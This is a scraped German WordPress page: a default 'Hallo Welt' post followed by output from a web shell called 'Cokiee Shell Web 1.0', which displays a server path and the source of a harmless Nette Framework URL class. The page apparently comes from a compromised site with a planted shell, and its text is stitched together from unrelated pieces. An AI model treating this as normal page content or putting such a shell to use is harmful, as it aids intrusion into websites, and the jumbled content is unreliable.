Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web284/html/wp-content/plugins/woocommerce/apigen/libs/Nette/Nette/Http/ |
Current File : //var/www/web284/html/wp-content/plugins/woocommerce/apigen/libs/Nette/Nette/Http/UrlScript.php |
<?php /** * This file is part of the Nette Framework (http://nette.org) * * Copyright (c) 2004 David Grudl (http://davidgrudl.com) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. */ namespace Nette\Http; use Nette; /** * Extended HTTP URL. * * <pre> * http://nette.org/admin/script.php/pathinfo/?name=param#fragment * \_______________/\________/ * | | * scriptPath pathInfo * </pre> * * - scriptPath: /admin/script.php (or simply /admin/ when script is directory index) * - pathInfo: /pathinfo/ (additional path information) * * @author David Grudl * * @property string $scriptPath * @property-read string $pathInfo */ class UrlScript extends Url { /** @var string */ private $scriptPath = '/'; /** * Sets the script-path part of URI. * @param string * @return UrlScript provides a fluent interface */ public function setScriptPath($value) { $this->updating(); $this->scriptPath = (string) $value; return $this; } /** * Returns the script-path part of URI. * @return string */ public function getScriptPath() { return $this->scriptPath; } /** * Returns the base-path. * @return string */ public function getBasePath() { $pos = strrpos($this->scriptPath, '/'); return $pos === FALSE ? '' : substr($this->path, 0, $pos + 1); } /** * Returns the additional path information. * @return string */ public function getPathInfo() { return (string) substr($this->path, strlen($this->scriptPath)); } }
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare